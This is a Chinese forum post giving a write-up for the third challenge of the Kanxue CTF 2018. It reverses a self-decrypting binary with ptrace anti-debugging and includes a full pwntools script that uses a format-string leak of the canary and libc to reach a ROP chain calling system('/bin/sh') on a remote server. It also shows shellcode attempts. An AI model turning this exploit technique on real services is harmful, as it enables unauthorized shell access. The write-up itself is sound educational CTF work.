首页
社区
课程
招聘
[原创]看雪CTF2018 第三题 WP
2018-6-21 17:07 2571

[原创]看雪CTF2018 第三题 WP

2018-6-21 17:07
2571

正确思路

分析

安全防护

#  checksec ./wow
[*] '/root/work/wow'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

可以看到开启了NX和Canary

反调试

.text:0000000000400751 test            proc near
.text:0000000000400751 ; __unwind {
.text:0000000000400751                 push    rbp
.text:0000000000400752                 mov     rbp, rsp
.text:0000000000400755                 mov     rax, 65h
.text:000000000040075C                 mov     rcx, 0
.text:0000000000400763                 mov     rdx, 1          ; addr
.text:000000000040076A                 mov     rsi, 0          ; pid
.text:0000000000400771                 mov     rdi, 0          ; request
.text:0000000000400778                 syscall                 ; LINUX - sys_ptrace
.text:000000000040077A                 cmp     rax, 0
.text:000000000040077E                 jge     short L_K1
.text:0000000000400780                 mov     rax, 3Ch
.text:0000000000400787                 mov     rdi, 0          ; error_code
.text:000000000040078E                 syscall                 ; LINUX - sys_exit
.text:0000000000400790
.text:0000000000400790 L_K1:                                   ; CODE XREF: test+2D↑j
.text:0000000000400790                 nop
.text:0000000000400791                 nop
.text:0000000000400792                 pop     rbp
.text:0000000000400793                 retn
.text:0000000000400793 ; } // starts at 400751
.text:0000000000400793 test            endp

其次在test函数中使用ptrace以达到反调试的效果,为了分析方便我们可以将对test函数的调用nop之。

call    $+5
pop     rax
add     rax, 7
jmp     rax

此外在main函数中也有一些像这样的指令集合,实际执行的时候是顺序执行的,调试时步进即可。

逆向部分(解密密钥)

首先解题的第一关是main函数在0x40087F之后便全部被加了密,程序运行时先将main函数所在的内存段权限改为rwx,然后读取用户输入6个字符,然后就到了第一个解密循环

.text:0000000000400860                 xor     rcx, rcx
.text:0000000000400863                 mov     dl, [rsi+rcx]   ; step 0
.text:0000000000400866
.text:0000000000400866 L1_64:                                  ; CODE XREF: .text:0000000000400878↓j
.text:0000000000400866                                         ; .text:000000000040087D↓j
.text:0000000000400866                 mov     bl, [rax+rcx]
.text:0000000000400869                 xor     bl, dl
.text:000000000040086B                 mov     [rax+rcx], bl
.text:000000000040086E                 mov     dh, [rax+rcx-1]
.text:0000000000400872                 inc     rcx
.text:0000000000400875                 cmp     dh, 0FBh
.text:0000000000400878                 jz      short L1_64
.text:000000000040087A                 cmp     bl, 90h
.text:000000000040087D                 jnz     short L1_64

以用户输入的第一个字符为参数对0x40087F开始的数据逐字节xor,直到满足dh=FB and bl=90为止。
我们可以将要解密的数据复制到Python中进行暴力破解,验证是否满足可以靠pwnlib(capstone)的disasm,只要反编译的结果中没有'byte'或'bad'之类的字符即可认为匹配

for x in range(0x100):                                    
    r = []                                                
    for y in a:                                           
        r.append(x^y)                                     
        if len(r) > 2 and r[-1] == 0x90 and r[-2] == 0xfb:
            break                                         
    d = disasm(bytes(r))                                  
    if 'bad' in d or 'byte' in d:                         
        continue                                          
    print(d)                                              
    print('{} 0x{:02x}'.format(x, x))                     
    print('\n\n\n')

密钥第一位是'e',解密出来的第一份指令如下

.text:000000000040087F                 lea     rax, [rax+rcx]  ; step 1
.text:0000000000400883                 sub     rax, 80h
.text:0000000000400889                 xor     rcx, rcx
.text:000000000040088C
.text:000000000040088C loc_40088C:                             ; CODE XREF: .text:000000000040089B↓j
.text:000000000040088C                 mov     bl, [rax+rcx]
.text:000000000040088F                 xor     bl, dl
.text:0000000000400891                 mov     [rax+rcx], bl
.text:0000000000400894                 inc     rcx
.text:0000000000400897                 cmp     rcx, 20h
.text:000000000040089B                 jl      short loc_40088C
.text:000000000040089D                 add     rax, 80h
.text:00000000004008A3                 xor     rcx, rcx
.text:00000000004008A6                 mov     dl, [rsi+rcx]
.text:00000000004008A9                 inc     rsi
.text:00000000004008AC                 xor     dl, [rsi+rcx]
.text:00000000004008AF
.text:00000000004008AF L2_64:                                  ; CODE XREF: .text:00000000004008C1↓j
.text:00000000004008AF                                         ; .text:00000000004008C6↓j
.text:00000000004008AF                 mov     bl, [rax+rcx]
.text:00000000004008B2                 xor     bl, dl
.text:00000000004008B4                 mov     [rax+rcx], bl
.text:00000000004008B7                 mov     dh, [rax+rcx-1]
.text:00000000004008BB                 inc     rcx
.text:00000000004008BE                 cmp     dh, 0FBh
.text:00000000004008C1                 jz      short L2_64
.text:00000000004008C3                 cmp     bl, 90h
.text:00000000004008C6                 jnz     short L2_64     ; v
.text:00000000004008C8                 nop

之后剩下的几段被加密的部分和这类似,只有最后一份判断条件少了一个。
首先破坏已经执行过的指令,然后密钥的第一位xor第二位得到第二次解密的参数,然后还是逐字节xor。

PWN部分(Get Shell)

同理继续操作即可得到最后的代码

.text:00000000004009FA                 mov     rax, 1
.text:0000000000400A01                 mov     rdx, 5
.text:0000000000400A08                 lea     rsi, szCh2      ; "wow!\n"
.text:0000000000400A10                 mov     rdi, rax
.text:0000000000400A13                 syscall                 ; LINUX - sys_write
.text:0000000000400A15                 mov     edi, 0
.text:0000000000400A1A                 call    _fflush
.text:0000000000400A1F                 cmp     rax, rax
.text:0000000000400A22
.text:0000000000400A22 L_J0:
.text:0000000000400A22                 jnz     short near ptr loc_400A33+3
.text:0000000000400A24                 nop
.text:0000000000400A25                 nop
.text:0000000000400A26                 nop
.text:0000000000400A27                 nop
.text:0000000000400A28                 nop
.text:0000000000400A29
.text:0000000000400A29 L_J1:
.text:0000000000400A29                 nop
.text:0000000000400A2A                 nop
.text:0000000000400A2B                 nop
.text:0000000000400A2C                 nop
.text:0000000000400A2D                 nop
.text:0000000000400A2E                 nop
.text:0000000000400A2F                 nop
.text:0000000000400A30                 xor     rax, rax
.text:0000000000400A33
.text:0000000000400A33 loc_400A33:                             ; CODE XREF: .text:L_J0↑j
.text:0000000000400A33                 mov     rdx, 1Ah
.text:0000000000400A3A                 mov     rsi, rsp
.text:0000000000400A3D                 mov     ds:lpGoble, rsp
.text:0000000000400A45                 mov     rdi, rax
.text:0000000000400A48                 syscall                 ; LINUX - sys_read
.text:0000000000400A4A                 mov     rax, cs:lpGoble
.text:0000000000400A51                 mov     rdi, rax
.text:0000000000400A54                 mov     eax, 0
.text:0000000000400A59                 call    _printf
.text:0000000000400A5E                 xor     rax, rax
.text:0000000000400A61                 mov     rdx, 200h
.text:0000000000400A68                 lea     rsi, [rsp-20h]
.text:0000000000400A6D                 mov     rdi, rax
.text:0000000000400A70                 syscall                 ; LINUX - sys_read
.text:0000000000400A72                 nop
.text:0000000000400A73                 nop
.text:0000000000400A74                 nop
.text:0000000000400A75                 nop
.text:0000000000400A76                 nop
.text:0000000000400A77                 nop
.text:0000000000400A78
.text:0000000000400A78 L_en:
.text:0000000000400A78                 nop
.text:0000000000400A79                 nop
.text:0000000000400A7A                 nop
.text:0000000000400A7B                 nop
.text:0000000000400A7C                 nop
.text:0000000000400A7D                 nop
.text:0000000000400A7E                 nop
.text:0000000000400A7F                 sar     rax, 0Ch
.text:0000000000400A83                 shl     rax, 0Ch
.text:0000000000400A87                 mov     rdi, rax
.text:0000000000400A8A                 mov     rdx, 5
.text:0000000000400A91                 mov     rax, 0Ah
.text:0000000000400A98                 mov     rsi, 1000h
.text:0000000000400A9F                 syscall                 ; LINUX - sys_mprotect
.text:0000000000400AA1                 mov     eax, 0
.text:0000000000400AA6                 mov     rdx, [rbp-8]
.text:0000000000400AAA                 xor     rdx, fs:28h
.text:0000000000400AB3                 jz      short locret_400ABA
.text:0000000000400AB5                 call    ___stack_chk_fail
.text:0000000000400ABA ; ---------------------------------------------------------------------------
.text:0000000000400ABA
.text:0000000000400ABA locret_400ABA:                          ; CODE XREF: .text:0000000000400AB3↑j
.text:0000000000400ABA                 leave
.text:0000000000400ABB                 retn

(这里将call +5; pop rax; add rax; jmp rax nop掉了,使得sys_mprotect调用时addr参数为0,不过问题不大)
最后的代码先后做了一下操作:输出wow,清空缓冲,读取26字符,将读取的字符串直接printf,再读取0x200字符,恢复内存权限,栈检查和ret。
这儿明显有格式化字符串漏洞和栈溢出,然而格式化字符串漏洞的格式控制字符长度不够(写入四个字节就需要大约60个格式控制字符),程序开启了Canary,不能直接栈溢出。正确的做法是用格式化字符串读取Canary然后栈溢出。
开始攻击之前先要得到system函数的偏移量,这儿我用了格式化字符串读取了puts和setbuf函数的地址,用通过Libc-database得到了服务器上libc为libc6_2.23-0ubuntu10_amd64

#  ROPgadget --binary ./wow --only "pop|ret" | grep rdi
0x0000000000400b23 : pop rdi ; ret

直到版本之后即可发动攻击,先利用格式化字符串得到栈地址和任意一个libc函数地址,然后ROP拼凑出system("/bin/sh\x00")即可GetShell
完事具备,只差脚本

from pwn import *                                                 
context.arch = 'amd64'                                            
#context.log_level = 'debug'                                      

#p = process('./wo')                                              
p = remote('139.199.99.130', 65188)                               
libc= ELF('/root/libc-database/db/libc6_2.23-0ubuntu10_amd64.so') 
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')                    


p.send('evXnaK')                                                  
p.recvuntil('wow!\n')                                             

p.sendline(b'%13$p %8$s %1$p\x00' + p64(0x601018))                
data = p.recv()                                                   
addrs = data.split(b' ')                                          
canary = int(addrs[0], 16)                                       
puts = u64(addrs[1].ljust(8, b'\x00'))                            
stack = int(addrs[2], 16)                                         

system = puts - libc.symbols[b'puts'] + libc.symbols[b'system']   

sc = b'D'*88                                                      
sc += p64(canary)                                                
sc += p64(0)                                                      
sc += p64(0x0000000000400b23)                                     
sc += p64(stack + 0x60)                                           
sc += p64(system)                                                 
sc += b'/bin/sh\x00'                                              

p.sendline(sc)                                                    
# input()                                                         

p.interactive()

错误思路吐槽时间

这题做的我感觉自己是智障。。。
虽然开启了NX,但是main函数最后有mprotect调用,可以将将内存权限改为r-x,巧妙的ROP绕过两次栈检测、将栈地址加上执行权限,最后ret到栈上就可以轻松Exec(/bin/sh)了,然后我就把一上午的时间浪费在这个思路上了。
首先遇到的第一个坑是mprotect调用的地址参数要4K对齐,调整之后又发现shellcraft.sh()给出的shellcode不能用

    /* push b'/bin///sh\x00' */   
    push 0x68                     
    mov rax, 0x732f2f2f6e69622f   
    push rax                      

    /* call execve('rsp', 0, 0) */
    push (SYS_execve) /* 0x3b */  
    pop rax                       
    mov rdi, rsp                  
    xor esi, esi /* 0 */          
    cdq /* rdx=0 */               
    syscall

由于此时栈地址已经没有写权限,所以push指令会出错,自己写了一份shellcode终于本地测试成功,但是远程攻击又失败了
程序最开始调用了ptrace,这样程序在调用sys_execve时会通知父进程处理,我为了调试方便把ptrace nop了。。。
也不知道出题人调用ptrace有没有考虑去屏蔽sys_execve。
然后把syscall的方案改成了计算system地址然后直接call,又发现栈没写权限连call也不能执行、system函数肯定也用栈,更不行。。。
吃午饭的时候才想到干嘛要这么麻烦,直接ROP不就行了吗,瞬间感觉自己智障。

总结

挺有趣的一道题,还好没牵扯heap,不然边学边做也来不及。接下来就要忙起来了,不知道还能再做出多少题。

 

附件里是跳过解密部分的程序


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2018-6-21 20:46 被Cirn09编辑 ,原因:
上传的附件:
  • wow (9.38kb,5次下载)
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回